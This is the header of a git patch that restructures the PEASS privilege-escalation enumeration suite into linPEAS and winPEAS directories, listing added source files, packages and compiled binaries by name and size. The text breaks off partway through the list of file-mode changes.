From dc4610c0932fb7672075e39f77f10308da8dea15 Mon Sep 17 00:00:00 2001 From: carlospolop Date: Mon, 4 Nov 2019 01:38:24 +0100 Subject: [PATCH] PEASS --- LICENSE | 0 README.md | 141 +- checks/README.md | 104 - linPEAS/README.md | 243 + linPEAS/images/help.png | Bin 0 -> 43847 bytes linPEAS/images/network.png | Bin 0 -> 10555 bytes linpeas.sh => linPEAS/linpeas.sh | 10 +- winPEAS/README.md | 13 + winPEAS/winPEASbat/README.md | 129 + winPEAS/winPEASbat/winPEAS.bat | 383 + winPEAS/winPEASexe/.vs/winPEAS/v16/.suo | Bin 0 -> 129536 bytes .../winPEAS/v16/Server/sqlite3/storage.ide | Bin 0 -> 1073152 bytes .../v16/Server/sqlite3/storage.ide-shm | Bin 0 -> 32768 bytes .../v16/Server/sqlite3/storage.ide-wal | Bin 0 -> 4185952 bytes winPEAS/winPEASexe/README.md | 147 + winPEAS/winPEASexe/images/colors.png | Bin 0 -> 110497 bytes winPEAS/winPEASexe/images/help.png | Bin 0 -> 162445 bytes .../Colorful.Console.1.2.9/.signature.p7s | Bin 0 -> 9464 bytes .../Colorful.Console.1.2.9.nupkg | Bin 0 -> 236075 bytes .../lib/net40/Colorful.Console.dll | Bin 0 -> 86528 bytes .../lib/net45/Colorful.Console.dll | Bin 0 -> 90112 bytes .../lib/net451/Colorful.Console.dll | Bin 0 -> 90112 bytes .../lib/net452/Colorful.Console.dll | Bin 0 -> 90112 bytes .../lib/net46/Colorful.Console.dll | Bin 0 -> 90112 bytes .../lib/net461/Colorful.Console.dll | Bin 0 -> 90112 bytes .../lib/netstandard2.0/Colorful.Console.dll | Bin 0 -> 90112 bytes .../Costura.Fody.4.1.0/.signature.p7s | Bin 0 -> 9477 bytes .../Costura.Fody.4.1.0.nupkg | Bin 0 -> 46481 bytes .../build/Costura.Fody.props | 5 + .../Costura.Fody.4.1.0/lib/net40/Costura.dll | Bin 0 -> 4096 bytes .../Costura.Fody.4.1.0/lib/net40/Costura.xml | 18 + .../weaver/Costura.Fody.dll | Bin 0 -> 74240 bytes .../weaver/Costura.Fody.xcf | 85 + .../CredentialManagement.1.0.2/.signature.p7s | Bin 0 -> 9467 bytes .../CredentialManagement.1.0.2.nupkg | Bin 0 -> 23815 bytes .../lib/net35/CredentialManagement.dll | Bin 0 -> 28672 bytes .../packages/Fody.6.0.0/.signature.p7s | Bin 0 -> 9466 bytes .../packages/Fody.6.0.0/Fody.6.0.0.nupkg | Bin 0 -> 731719 bytes .../packages/Fody.6.0.0/build/Fody.targets | 110 + .../Fody.6.0.0/netclassictask/Fody.dll | Bin 0 -> 43520 bytes .../Fody.6.0.0/netclassictask/FodyCommon.dll | Bin 0 -> 10752 bytes .../Fody.6.0.0/netclassictask/FodyHelpers.dll | Bin 0 -> 40448 bytes .../netclassictask/FodyIsolated.dll | Bin 0 -> 31744 bytes .../netclassictask/Mono.Cecil.Pdb.dll | Bin 0 -> 87552 bytes .../netclassictask/Mono.Cecil.Pdb.pdb | Bin 0 -> 24496 bytes .../netclassictask/Mono.Cecil.Rocks.dll | Bin 0 -> 27648 bytes .../netclassictask/Mono.Cecil.Rocks.pdb | Bin 0 -> 7912 bytes .../Fody.6.0.0/netclassictask/Mono.Cecil.dll | Bin 0 -> 343552 bytes .../Fody.6.0.0/netclassictask/Mono.Cecil.pdb | Bin 0 -> 172408 bytes .../Fody.6.0.0/netstandardtask/Fody.dll | Bin 0 -> 43520 bytes .../Fody.6.0.0/netstandardtask/FodyCommon.dll | Bin 0 -> 10752 bytes .../netstandardtask/FodyHelpers.dll | Bin 0 -> 40448 bytes .../netstandardtask/FodyIsolated.dll | Bin 0 -> 31744 bytes .../netstandardtask/Mono.Cecil.Pdb.dll | Bin 0 -> 87552 bytes .../netstandardtask/Mono.Cecil.Pdb.pdb | Bin 0 -> 24496 bytes .../netstandardtask/Mono.Cecil.Rocks.dll | Bin 0 -> 24576 bytes .../netstandardtask/Mono.Cecil.Rocks.pdb | Bin 0 -> 7000 bytes .../Fody.6.0.0/netstandardtask/Mono.Cecil.dll | Bin 0 -> 343552 bytes .../Fody.6.0.0/netstandardtask/Mono.Cecil.pdb | Bin 0 -> 172032 bytes .../TaskScheduler.2.8.16/.signature.p7s | Bin 0 -> 9463 bytes .../TaskScheduler.2.8.16.nupkg | Bin 0 -> 1267943 bytes .../net20/Microsoft.Win32.TaskScheduler.dll | Bin 0 -> 382464 bytes .../net20/Microsoft.Win32.TaskScheduler.xml | 8999 +++++++++++++++++ ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10752 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 9728 bytes .../net35/Microsoft.Win32.TaskScheduler.dll | Bin 0 -> 321536 bytes .../net35/Microsoft.Win32.TaskScheduler.xml | 7922 +++++++++++++++ ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10752 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 9728 bytes .../net40/Microsoft.Win32.TaskScheduler.dll | Bin 0 -> 314880 bytes .../net40/Microsoft.Win32.TaskScheduler.xml | 7584 ++++++++++++++ ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10752 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 9728 bytes .../net452/Microsoft.Win32.TaskScheduler.dll | Bin 0 -> 327680 bytes .../net452/Microsoft.Win32.TaskScheduler.xml | 7718 ++++++++++++++ ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10752 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 9728 bytes .../Microsoft.Win32.TaskScheduler.dll | Bin 0 -> 380416 bytes .../Microsoft.Win32.TaskScheduler.xml | 8619 ++++++++++++++++ ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10752 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 9728 bytes ...escalation-awesome-script-suite-master.zip | Bin 0 -> 33050 bytes winPEAS/winPEASexe/winPEAS.sln | 37 + winPEAS/winPEASexe/winPEAS/App.config | 6 + winPEAS/winPEASexe/winPEAS/ApplicationInfo.cs | 171 + winPEAS/winPEASexe/winPEAS/Beaprint.cs | 562 + winPEAS/winPEASexe/winPEAS/FodyWeavers.xml | 3 + winPEAS/winPEASexe/winPEAS/FodyWeavers.xsd | 111 + .../winPEASexe/winPEAS/InterestingFiles.cs | 115 + .../winPEASexe/winPEAS/KnownFileCredsInfo.cs | 2577 +++++ winPEAS/winPEASexe/winPEAS/MyUtils.cs | 603 ++ winPEAS/winPEASexe/winPEAS/NetworkInfo.cs | 383 + winPEAS/winPEASexe/winPEAS/ProcessesInfo.cs | 799 ++ winPEAS/winPEASexe/winPEAS/Program.cs | 2371 +++++ .../winPEAS/Properties/AssemblyInfo.cs | 36 + winPEAS/winPEASexe/winPEAS/ServicesInfo.cs | 146 + winPEAS/winPEASexe/winPEAS/SystemInfo.cs | 409 + winPEAS/winPEASexe/winPEAS/UserInfo.cs | 765 ++ winPEAS/winPEASexe/winPEAS/Watson.cs | 793 ++ .../Debug/Microsoft.Win32.TaskScheduler.xml | 7584 ++++++++++++++ .../winPEASexe/winPEAS/bin/Debug/winPEAS.exe | Bin 0 -> 433152 bytes .../winPEAS/bin/Debug/winPEAS.exe.config | 6 + .../winPEASexe/winPEAS/bin/Debug/winPEAS.pdb | Bin 0 -> 261632 bytes .../Release/Microsoft.Win32.TaskScheduler.xml | 7584 ++++++++++++++ .../winPEAS/bin/Release/winPEAS.exe | Bin 0 -> 420864 bytes .../winPEAS/bin/Release/winPEAS.exe.config | 6 + .../winPEAS/bin/Release/winPEAS.pdb | Bin 0 -> 214528 bytes .../Release/Microsoft.Win32.TaskScheduler.xml | 7584 ++++++++++++++ .../winPEAS/bin/x64/Release/winPEAS.exe | Bin 0 -> 420352 bytes .../bin/x64/Release/winPEAS.exe.config | 6 + .../winPEAS/bin/x64/Release/winPEAS.pdb | Bin 0 -> 214528 bytes .../Debug/Microsoft.Win32.TaskScheduler.xml | 7584 ++++++++++++++ .../winPEAS/bin/x86/Debug/winPEAS.exe | Bin 0 -> 433152 bytes .../winPEAS/bin/x86/Debug/winPEAS.exe.config | 6 + .../winPEAS/bin/x86/Debug/winPEAS.pdb | Bin 0 -> 261632 bytes .../Release/Microsoft.Win32.TaskScheduler.xml | 7584 ++++++++++++++ .../winPEAS/bin/x86/Release/winPEAS.exe | Bin 0 -> 420864 bytes .../bin/x86/Release/winPEAS.exe.config | 6 + .../winPEAS/bin/x86/Release/winPEAS.pdb | Bin 0 -> 214528 bytes ...n32.taskscheduler.resources.dll.compressed | Bin 0 -> 4138 bytes ...n32.taskscheduler.resources.dll.compressed | Bin 0 -> 4044 bytes ...n32.taskscheduler.resources.dll.compressed | Bin 0 -> 4265 bytes ...n32.taskscheduler.resources.dll.compressed | Bin 0 -> 4101 bytes ...4D1919C1B07.costura.costura.dll.compressed | Bin 0 -> 1936 bytes ...EF.costura.colorful.console.dll.compressed | Bin 0 -> 32107 bytes ...n32.taskscheduler.resources.dll.compressed | Bin 0 -> 4192 bytes ...crosoft.win32.taskscheduler.dll.compressed | Bin 0 -> 131497 bytes ...n32.taskscheduler.resources.dll.compressed | Bin 0 -> 4101 bytes ...BD.costura.colorful.console.dll.compressed | Bin 0 -> 30357 bytes ...n32.taskscheduler.resources.dll.compressed | Bin 0 -> 4094 bytes ...ostura.credentialmanagement.dll.compressed | Bin 0 -> 11235 bytes ...gnTimeResolveAssemblyReferencesInput.cache | Bin 0 -> 7726 bytes .../obj/Debug/winPEAS.csproj.CopyComplete | 0 .../Debug/winPEAS.csproj.FileListAbsolute.txt | 42 + .../Debug/winPEAS.csproj.Fody.CopyLocal.cache | 1 + .../winPEASexe/winPEAS/obj/Debug/winPEAS.exe | Bin 0 -> 433152 bytes .../winPEASexe/winPEAS/obj/Debug/winPEAS.pdb | Bin 0 -> 261632 bytes ...n32.taskscheduler.resources.dll.compressed | Bin 0 -> 4138 bytes ...n32.taskscheduler.resources.dll.compressed | Bin 0 -> 4044 bytes ...n32.taskscheduler.resources.dll.compressed | Bin 0 -> 4265 bytes ...n32.taskscheduler.resources.dll.compressed | Bin 0 -> 4101 bytes ...4D1919C1B07.costura.costura.dll.compressed | Bin 0 -> 1936 bytes ...n32.taskscheduler.resources.dll.compressed | Bin 0 -> 4192 bytes ...crosoft.win32.taskscheduler.dll.compressed | Bin 0 -> 131497 bytes ...n32.taskscheduler.resources.dll.compressed | Bin 0 -> 4101 bytes ...BD.costura.colorful.console.dll.compressed | Bin 0 -> 30357 bytes ...n32.taskscheduler.resources.dll.compressed | Bin 0 -> 4094 bytes ...ostura.credentialmanagement.dll.compressed | Bin 0 -> 11235 bytes ...gnTimeResolveAssemblyReferencesInput.cache | Bin 0 -> 7678 bytes .../obj/Release/winPEAS.csproj.CopyComplete | 0 .../winPEAS.csproj.FileListAbsolute.txt | 32 + .../winPEAS.csproj.Fody.CopyLocal.cache | 1 + .../winPEAS/obj/Release/winPEAS.exe | Bin 0 -> 420864 bytes .../winPEAS/obj/Release/winPEAS.pdb | Bin 0 -> 214528 bytes ...n32.taskscheduler.resources.dll.compressed | Bin 0 -> 4138 bytes ...n32.taskscheduler.resources.dll.compressed | Bin 0 -> 4044 bytes ...n32.taskscheduler.resources.dll.compressed | Bin 0 -> 4265 bytes ...n32.taskscheduler.resources.dll.compressed | Bin 0 -> 4101 bytes ...4D1919C1B07.costura.costura.dll.compressed | Bin 0 -> 1936 bytes ...n32.taskscheduler.resources.dll.compressed | Bin 0 -> 4192 bytes ...crosoft.win32.taskscheduler.dll.compressed | Bin 0 -> 131497 bytes ...n32.taskscheduler.resources.dll.compressed | Bin 0 -> 4101 bytes ...BD.costura.colorful.console.dll.compressed | Bin 0 -> 30357 bytes ...n32.taskscheduler.resources.dll.compressed | Bin 0 -> 4094 bytes ...ostura.credentialmanagement.dll.compressed | Bin 0 -> 11235 bytes ...gnTimeResolveAssemblyReferencesInput.cache | Bin 0 -> 7739 bytes .../x64/Release/winPEAS.csproj.CopyComplete | 0 .../winPEAS.csproj.FileListAbsolute.txt | 8 + .../winPEAS.csproj.Fody.CopyLocal.cache | 1 + .../winPEAS/obj/x64/Release/winPEAS.exe | Bin 0 -> 420352 bytes .../winPEAS/obj/x64/Release/winPEAS.pdb | Bin 0 -> 214528 bytes ...n32.taskscheduler.resources.dll.compressed | Bin 0 -> 4138 bytes ...n32.taskscheduler.resources.dll.compressed | Bin 0 -> 4044 bytes ...n32.taskscheduler.resources.dll.compressed | Bin 0 -> 4265 bytes ...n32.taskscheduler.resources.dll.compressed | Bin 0 -> 4101 bytes ...4D1919C1B07.costura.costura.dll.compressed | Bin 0 -> 1936 bytes ...n32.taskscheduler.resources.dll.compressed | Bin 0 -> 4192 bytes ...crosoft.win32.taskscheduler.dll.compressed | Bin 0 -> 131497 bytes ...n32.taskscheduler.resources.dll.compressed | Bin 0 -> 4101 bytes ...BD.costura.colorful.console.dll.compressed | Bin 0 -> 30357 bytes ...n32.taskscheduler.resources.dll.compressed | Bin 0 -> 4094 bytes ...ostura.credentialmanagement.dll.compressed | Bin 0 -> 11235 bytes ...gnTimeResolveAssemblyReferencesInput.cache | Bin 0 -> 7733 bytes .../obj/x86/Debug/winPEAS.csproj.CopyComplete | 0 .../Debug/winPEAS.csproj.FileListAbsolute.txt | 8 + .../Debug/winPEAS.csproj.Fody.CopyLocal.cache | 1 + .../winPEAS/obj/x86/Debug/winPEAS.exe | Bin 0 -> 433152 bytes .../winPEAS/obj/x86/Debug/winPEAS.pdb | Bin 0 -> 261632 bytes ...n32.taskscheduler.resources.dll.compressed | Bin 0 -> 4138 bytes ...n32.taskscheduler.resources.dll.compressed | Bin 0 -> 4044 bytes ...n32.taskscheduler.resources.dll.compressed | Bin 0 -> 4265 bytes ...n32.taskscheduler.resources.dll.compressed | Bin 0 -> 4101 bytes ...4D1919C1B07.costura.costura.dll.compressed | Bin 0 -> 1936 bytes ...n32.taskscheduler.resources.dll.compressed | Bin 0 -> 4192 bytes ...crosoft.win32.taskscheduler.dll.compressed | Bin 0 -> 131497 bytes ...n32.taskscheduler.resources.dll.compressed | Bin 0 -> 4101 bytes ...BD.costura.colorful.console.dll.compressed | Bin 0 -> 30357 bytes ...n32.taskscheduler.resources.dll.compressed | Bin 0 -> 4094 bytes ...ostura.credentialmanagement.dll.compressed | Bin 0 -> 11235 bytes ...gnTimeResolveAssemblyReferencesInput.cache | Bin 0 -> 7737 bytes .../x86/Release/winPEAS.csproj.CopyComplete | 0 .../winPEAS.csproj.FileListAbsolute.txt | 8 + .../winPEAS.csproj.Fody.CopyLocal.cache | 1 + .../winPEAS/obj/x86/Release/winPEAS.exe | Bin 0 -> 420864 bytes .../winPEAS/obj/x86/Release/winPEAS.pdb | Bin 0 -> 214528 bytes winPEAS/winPEASexe/winPEAS/packages.config | 8 + winPEAS/winPEASexe/winPEAS/winPEAS.csproj | 138 + .../winPEASexe/winPEAS/winPEAS.csproj.user | 21 + 233 files changed, 90105 insertions(+), 232 deletions(-) mode change 100644 => 100755 LICENSE mode change 100644 => 100755 README.md delete mode 100644 checks/README.md create mode 100755 linPEAS/README.md create mode 100755 linPEAS/images/help.png create mode 100755 linPEAS/images/network.png rename linpeas.sh => linPEAS/linpeas.sh (99%) create mode 100755 winPEAS/README.md create mode 100755 winPEAS/winPEASbat/README.md create mode 100755 winPEAS/winPEASbat/winPEAS.bat create mode 100755 winPEAS/winPEASexe/.vs/winPEAS/v16/.suo create mode 100755 winPEAS/winPEASexe/.vs/winPEAS/v16/Server/sqlite3/storage.ide create mode 100755 winPEAS/winPEASexe/.vs/winPEAS/v16/Server/sqlite3/storage.ide-shm create mode 100755 winPEAS/winPEASexe/.vs/winPEAS/v16/Server/sqlite3/storage.ide-wal create mode 100755 winPEAS/winPEASexe/README.md create mode 100755 winPEAS/winPEASexe/images/colors.png create mode 100755 winPEAS/winPEASexe/images/help.png create mode 100755 winPEAS/winPEASexe/packages/Colorful.Console.1.2.9/.signature.p7s create mode 100755 winPEAS/winPEASexe/packages/Colorful.Console.1.2.9/Colorful.Console.1.2.9.nupkg create mode 100755 winPEAS/winPEASexe/packages/Colorful.Console.1.2.9/lib/net40/Colorful.Console.dll create mode 100755 winPEAS/winPEASexe/packages/Colorful.Console.1.2.9/lib/net45/Colorful.Console.dll create mode 100755 winPEAS/winPEASexe/packages/Colorful.Console.1.2.9/lib/net451/Colorful.Console.dll create mode 100755 winPEAS/winPEASexe/packages/Colorful.Console.1.2.9/lib/net452/Colorful.Console.dll create mode 100755 winPEAS/winPEASexe/packages/Colorful.Console.1.2.9/lib/net46/Colorful.Console.dll create mode 100755 winPEAS/winPEASexe/packages/Colorful.Console.1.2.9/lib/net461/Colorful.Console.dll create mode 100755 winPEAS/winPEASexe/packages/Colorful.Console.1.2.9/lib/netstandard2.0/Colorful.Console.dll create mode 100755 winPEAS/winPEASexe/packages/Costura.Fody.4.1.0/.signature.p7s create mode 100755 winPEAS/winPEASexe/packages/Costura.Fody.4.1.0/Costura.Fody.4.1.0.nupkg create mode 100755 winPEAS/winPEASexe/packages/Costura.Fody.4.1.0/build/Costura.Fody.props create mode 100755 winPEAS/winPEASexe/packages/Costura.Fody.4.1.0/lib/net40/Costura.dll create mode 100755 winPEAS/winPEASexe/packages/Costura.Fody.4.1.0/lib/net40/Costura.xml create mode 100755 winPEAS/winPEASexe/packages/Costura.Fody.4.1.0/weaver/Costura.Fody.dll create mode 100755 winPEAS/winPEASexe/packages/Costura.Fody.4.1.0/weaver/Costura.Fody.xcf create mode 100755 winPEAS/winPEASexe/packages/CredentialManagement.1.0.2/.signature.p7s create mode 100755 winPEAS/winPEASexe/packages/CredentialManagement.1.0.2/CredentialManagement.1.0.2.nupkg create mode 100755 winPEAS/winPEASexe/packages/CredentialManagement.1.0.2/lib/net35/CredentialManagement.dll create mode 100755 winPEAS/winPEASexe/packages/Fody.6.0.0/.signature.p7s create mode 100755 winPEAS/winPEASexe/packages/Fody.6.0.0/Fody.6.0.0.nupkg create mode 100755 winPEAS/winPEASexe/packages/Fody.6.0.0/build/Fody.targets create mode 100755 winPEAS/winPEASexe/packages/Fody.6.0.0/netclassictask/Fody.dll create mode 100755 winPEAS/winPEASexe/packages/Fody.6.0.0/netclassictask/FodyCommon.dll create mode 100755 winPEAS/winPEASexe/packages/Fody.6.0.0/netclassictask/FodyHelpers.dll create mode 100755 winPEAS/winPEASexe/packages/Fody.6.0.0/netclassictask/FodyIsolated.dll create mode 100755 winPEAS/winPEASexe/packages/Fody.6.0.0/netclassictask/Mono.Cecil.Pdb.dll create mode 100755 winPEAS/winPEASexe/packages/Fody.6.0.0/netclassictask/Mono.Cecil.Pdb.pdb create mode 100755 winPEAS/winPEASexe/packages/Fody.6.0.0/netclassictask/Mono.Cecil.Rocks.dll create mode 100755 winPEAS/winPEASexe/packages/Fody.6.0.0/netclassictask/Mono.Cecil.Rocks.pdb create mode 100755 winPEAS/winPEASexe/packages/Fody.6.0.0/netclassictask/Mono.Cecil.dll create mode 100755 winPEAS/winPEASexe/packages/Fody.6.0.0/netclassictask/Mono.Cecil.pdb create mode 100755 winPEAS/winPEASexe/packages/Fody.6.0.0/netstandardtask/Fody.dll create mode 100755 winPEAS/winPEASexe/packages/Fody.6.0.0/netstandardtask/FodyCommon.dll create mode 100755 winPEAS/winPEASexe/packages/Fody.6.0.0/netstandardtask/FodyHelpers.dll create mode 100755 winPEAS/winPEASexe/packages/Fody.6.0.0/netstandardtask/FodyIsolated.dll create mode 100755 winPEAS/winPEASexe/packages/Fody.6.0.0/netstandardtask/Mono.Cecil.Pdb.dll create mode 100755 winPEAS/winPEASexe/packages/Fody.6.0.0/netstandardtask/Mono.Cecil.Pdb.pdb create mode 100755 winPEAS/winPEASexe/packages/Fody.6.0.0/netstandardtask/Mono.Cecil.Rocks.dll create mode 100755 winPEAS/winPEASexe/packages/Fody.6.0.0/netstandardtask/Mono.Cecil.Rocks.pdb create mode 100755 winPEAS/winPEASexe/packages/Fody.6.0.0/netstandardtask/Mono.Cecil.dll create mode 100755 winPEAS/winPEASexe/packages/Fody.6.0.0/netstandardtask/Mono.Cecil.pdb create mode 100755 winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/.signature.p7s create mode 100755 winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/TaskScheduler.2.8.16.nupkg create mode 100755 winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net20/Microsoft.Win32.TaskScheduler.dll create mode 100755 winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net20/Microsoft.Win32.TaskScheduler.xml create mode 100755 winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net20/de/Microsoft.Win32.TaskScheduler.resources.dll create mode 100755 winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net20/es/Microsoft.Win32.TaskScheduler.resources.dll create mode 100755 winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net20/fr/Microsoft.Win32.TaskScheduler.resources.dll create mode 100755 winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net20/it/Microsoft.Win32.TaskScheduler.resources.dll create mode 100755 winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net20/pl/Microsoft.Win32.TaskScheduler.resources.dll create mode 100755 winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net20/ru/Microsoft.Win32.TaskScheduler.resources.dll create mode 100755 winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net20/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll create mode 100755 winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net35/Microsoft.Win32.TaskScheduler.dll create mode 100755 winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net35/Microsoft.Win32.TaskScheduler.xml create mode 100755 winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net35/de/Microsoft.Win32.TaskScheduler.resources.dll create mode 100755 winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net35/es/Microsoft.Win32.TaskScheduler.resources.dll create mode 100755 winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net35/fr/Microsoft.Win32.TaskScheduler.resources.dll create mode 100755 winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net35/it/Microsoft.Win32.TaskScheduler.resources.dll create mode 100755 winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net35/pl/Microsoft.Win32.TaskScheduler.resources.dll create mode 100755 winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net35/ru/Microsoft.Win32.TaskScheduler.resources.dll create mode 100755 winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net35/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll create mode 100755 winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net40/Microsoft.Win32.TaskScheduler.dll create mode 100755 winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net40/Microsoft.Win32.TaskScheduler.xml create mode 100755 winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net40/de/Microsoft.Win32.TaskScheduler.resources.dll create mode 100755 winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net40/es/Microsoft.Win32.TaskScheduler.resources.dll create mode 100755 winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net40/fr/Microsoft.Win32.TaskScheduler.resources.dll create mode 100755 winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net40/it/Microsoft.Win32.TaskScheduler.resources.dll create mode 100755 winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net40/pl/Microsoft.Win32.TaskScheduler.resources.dll create mode 100755 winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net40/ru/Microsoft.Win32.TaskScheduler.resources.dll create mode 100755 winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net40/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll create mode 100755 winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net452/Microsoft.Win32.TaskScheduler.dll create mode 100755 winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net452/Microsoft.Win32.TaskScheduler.xml create mode 100755 winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net452/de/Microsoft.Win32.TaskScheduler.resources.dll create mode 100755 winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net452/es/Microsoft.Win32.TaskScheduler.resources.dll create mode 100755 winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net452/fr/Microsoft.Win32.TaskScheduler.resources.dll create mode 100755 winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net452/it/Microsoft.Win32.TaskScheduler.resources.dll create mode 100755 winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net452/pl/Microsoft.Win32.TaskScheduler.resources.dll create mode 100755 winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net452/ru/Microsoft.Win32.TaskScheduler.resources.dll create mode 100755 winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net452/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll create mode 100755 winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/netstandard2.0/Microsoft.Win32.TaskScheduler.dll create mode 100755 winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/netstandard2.0/Microsoft.Win32.TaskScheduler.xml create mode 100755 winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/netstandard2.0/de/Microsoft.Win32.TaskScheduler.resources.dll create mode 100755 winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/netstandard2.0/es/Microsoft.Win32.TaskScheduler.resources.dll create mode 100755 winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/netstandard2.0/fr/Microsoft.Win32.TaskScheduler.resources.dll create mode 100755 winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/netstandard2.0/it/Microsoft.Win32.TaskScheduler.resources.dll create mode 100755 winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/netstandard2.0/pl/Microsoft.Win32.TaskScheduler.resources.dll create mode 100755 winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/netstandard2.0/ru/Microsoft.Win32.TaskScheduler.resources.dll create mode 100755 winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/netstandard2.0/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll create mode 100755 winPEAS/winPEASexe/privilege-escalation-awesome-script-suite-master.zip create mode 100755 winPEAS/winPEASexe/winPEAS.sln create mode 100755 winPEAS/winPEASexe/winPEAS/App.config create mode 100755 winPEAS/winPEASexe/winPEAS/ApplicationInfo.cs create mode 100755 winPEAS/winPEASexe/winPEAS/Beaprint.cs create mode 100755 winPEAS/winPEASexe/winPEAS/FodyWeavers.xml create mode 100755 winPEAS/winPEASexe/winPEAS/FodyWeavers.xsd create mode 100755 winPEAS/winPEASexe/winPEAS/InterestingFiles.cs create mode 100755 winPEAS/winPEASexe/winPEAS/KnownFileCredsInfo.cs create mode 100755 winPEAS/winPEASexe/winPEAS/MyUtils.cs create mode 100755 winPEAS/winPEASexe/winPEAS/NetworkInfo.cs create mode 100755 winPEAS/winPEASexe/winPEAS/ProcessesInfo.cs create mode 100755 winPEAS/winPEASexe/winPEAS/Program.cs create mode 100755 winPEAS/winPEASexe/winPEAS/Properties/AssemblyInfo.cs create mode 100755 winPEAS/winPEASexe/winPEAS/ServicesInfo.cs create mode 100755 